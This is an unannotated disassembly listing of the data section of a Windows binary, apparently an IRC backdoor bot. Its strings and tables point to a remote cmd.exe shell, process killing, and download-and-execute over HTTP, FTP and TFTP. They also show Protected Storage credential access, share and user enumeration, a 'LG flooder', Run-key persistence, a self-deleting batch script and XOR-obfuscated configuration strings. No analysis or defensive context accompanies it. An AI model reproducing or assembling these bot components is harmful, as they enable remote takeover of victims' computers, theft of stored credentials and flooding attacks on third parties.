dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h, 0E3h, 0 ;	DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; BrattyUS:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset dword_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset loc_418C9C
		dd offset aKZdzvlUU	; "Γ"
		dd offset aKZdJssgEudaFts ; "葃ԥÔ☘"
		dd offset dword_418C5C
		dd offset aKZdJssgEudaFts ; "葃ԥÔ☘"
		dd offset dword_418C4C
		dd offset aIdbLsRLtuiGiXu ; "۶Ë➉塀Ŝ"
		dd offset byte_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 9ABAABB4h, 0AEBBA7A7h, 98FFD6B6h, 0C89BB2E3h, 0ADF9B69Ch
					; DATA XREF: BrattyUS:00418BE4o
		dd 0A7B8A4B0h, 0C493B0h, 0
byte_418C10	db 90h			; DATA XREF: BrattyUS:00418BE0o
		db 0A7h, 0A1h, 98h
		dd 0ADA6BBA4h, 93CE93ECh, 2 dup(0)
aIdbLsRLtuiGiXu	db '۶Ë➉塀Ŝ',0 ; DATA XREF: BrattyUS:00418BDCo
		align 4
		dd 0
dword_418C4C	dd 9BBEAE98h, 0ADACB1E6h, 2 dup(0) ; DATA XREF:	BrattyUS:00418BD8o
dword_418C5C	dd 87B6B28Ah, 0E6A2A781h, 0D38EA7h, 0 ;	DATA XREF: BrattyUS:00418BD0o
aKZdJssgEudaFts	db '葃ԥÔ☘',0 ; DATA XREF: BrattyUS:00418BCCo
					; BrattyUS:00418BD4o
		align 8
aKZdzvlUU	db 'Γ',0     ; DATA XREF: BrattyUS:00418BC8o
		align 4
		dd 0
; ---------------------------------------------------------------------------

loc_418C9C:				; DATA XREF: BrattyUS:00418BC4o
		scasb
		stosd
		mov	bh, 8Ch
		cmpsd
		mov	ds:938CE8A7h, eax
		retn	0F881h
; ---------------------------------------------------------------------------
		db 0A5h, 82h, 86h
		dd 8DABABBFh, 0A4B8B5BFh, 2 dup(0)
dword_418CBC	dd 8DABAB9Fh, 0A4B8B5BFh, 93CE93ECh, 2 dup(0)
					; DATA XREF: BrattyUS:00418BC0o
dword_418CD0	dd 89B7ABAEh, 89F4A4A5h, 82D893A5h, 2 dup(0) ; DATA XREF: BrattyUS:00418BBCo
dword_418CE4	dd 89B7AB8Eh, 0ADFAA4A5h, 93BAh, 0 ; DATA XREF:	BrattyUS:00418BB8o
dword_418CF4	dd 8CB7ABAEh, 0E8A7A3A7h, 9AC68E87h, 0D48CA5F8h, 2 dup(0)
					; DATA XREF: BrattyUS:00418BB4o
dword_418D0C	dd 84A9BA9Ch, 0BAB1A6A7h, 93CE93ECh, 2 dup(0)
					; DATA XREF: BrattyUS:00418BB0o
dword_418D20	dd 0A1B7AB8Eh, 0A6BBB3A7h, 93CE93ECh, 2	dup(0)
					; DATA XREF: BrattyUS:00418BA8o
dword_418D34	dd 8CB7ABAEh, 0E8A7A3A7h, 99D1998Eh, 0D6A8F7F9h, 8BB0AE89h
					; DATA XREF: BrattyUS:00418BA4o
					; BrattyUS:00418BACo
		dd 0A7BDA0A9h, 0ACh, 0
dword_418D54	dd 87BEAD95h, 0B0B1FAA6h, 0A7h,	0 ; DATA XREF: BrattyUS:00418BA0o
dword_418D64	dd 8DB0AEBAh, 9BF4A0A6h, 93C084A7h, 0D3BBF7E5h,	85B0B697h
					; DATA XREF: BrattyUS:00418B9Co
		dd 0BA84F4ADh, 85D395ADh, 0E4h,	0
dword_418D88	dd 9BABB19Ah, 0ADACB1E6h, 2 dup(0) ; DATA XREF:	BrattyUS:00418B98o
dword_418D98	dd 9BB8B1B0h, 0B0B1FABBh, 0A7h,	0 ; DATA XREF: BrattyUS:00418B90o
dword_418DA8	dd 89BAADB5h, 0AD87F4A4h, 9FC483A1h, 0E7C9AEE3h, 87B1B68Ch
					; DATA XREF: BrattyUS:off_418B8Co
					; BrattyUS:00418B94o
		dd 0B1A0BDBAh, 84D3A5E2h, 0C38ABEE1h, 2	dup(0)
dword_418DD0	dd 89AAB195h, 0B0B1FABBh, 0A7h,	0 ; DATA XREF: BrattyUS:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 0C6B7B194h, 0B9BBABh, 0 ; DATA XREF:	sub_408887+6o
dword_418F6C	dd 0C6AEB58Eh, 0BAA6B1BCh, 99D5D8A3h, 0D48BF9FAh, 2 dup(0)
					; DATA XREF: sub_408887+14o
dword_418F84	dd 0C6B7B194h, 0B1ACh, 0 ; DATA	XREF: sub_408887+22o
dword_418F90	dd 85ACA39Dh, 0BCB1BAE6h, 2 dup(0) ; DATA XREF:	sub_408887+30o
dword_418FA0	dd 8FB6AD9Eh, 0A9FAB1A4h, 0A7h,	0 ; DATA XREF: sub_408887+3Eo
dword_418FB0	dd 8DB7AB97h, 0E6BAA7A5h, 0D8DB99A1h, 0A2F6h, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 86AEAD9Dh, 0ACB5BBA4h, 9BD791ECh, 0DFC7A4F2h, 87B6AA98h
					; DATA XREF: BrattyUS:00418FD8o
		dd 0A5BBB7E6h, 9BD791EDh, 0C2C6A4F2h, 84B7B596h, 0E7B0B5A7h
		dd 98D19FB1h, 0D6C6B3F2h, 89BAB296h, 0A9ADFBB8h, 0A9D999AAh
		dd 0C383B2F5h, 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0C391B2B9h
		dd 2 dup(0)
dword_41903C	dd 8FF7B18Ch, 0BBB1B9A9h, 9FCFD8F3h, 0C5C7B0FAh, 0AF96h
					; DATA XREF: BrattyUS:00418FD4o
		dd 0
dword_419054	dd 86AEAD9Dh, 0ACB5BBA4h, 0C799C5EDh, 95C6B1B8h, 0D9EDA4C8h
					; DATA XREF: BrattyUS:00418FD0o
		dd 0E5E3E6FCh, 9382C6FAh, 0C0D1E3BAh, 8BE1EFC0h, 0FDF9ECF9h
		dd 0CFD2C7A3h, 9EDCB5A4h, 0C7BCF1CCh, 0BBB5A7A5h, 0D8D598BBh
		dd 8CAFF2h, 0
dword_419098	dd 86AEAD9Dh, 0ACB5BBA4h, 95DF9BECh, 0C99AB8E5h, 8BF7B69Fh
					; DATA XREF: BrattyUS:00418FCCo
		dd 0B9A7h, 0
dword_4190B4	dd 89ADA39Dh, 0E7BAB1E7h, 0D9D19FA0h, 0D49BA2F4h, 0C7ADAC9Ch
					; DATA XREF: BrattyUS:off_418FC8o
		dd 0AFBBBB8Fh, 99E293AEh, 0C78BBBF8h, 9BB78B8Bh, 0A4B8B5BCh
		dd 939884A7h, 0B2EFh, 0
dword_4190E8	dd 84B6AD8Dh, 0E6A6B5AAh, 91D999A5h, 0C5C7B2FBh, 0AF96h
					; DATA XREF: BrattyUS:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_4093B6+67o
aBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
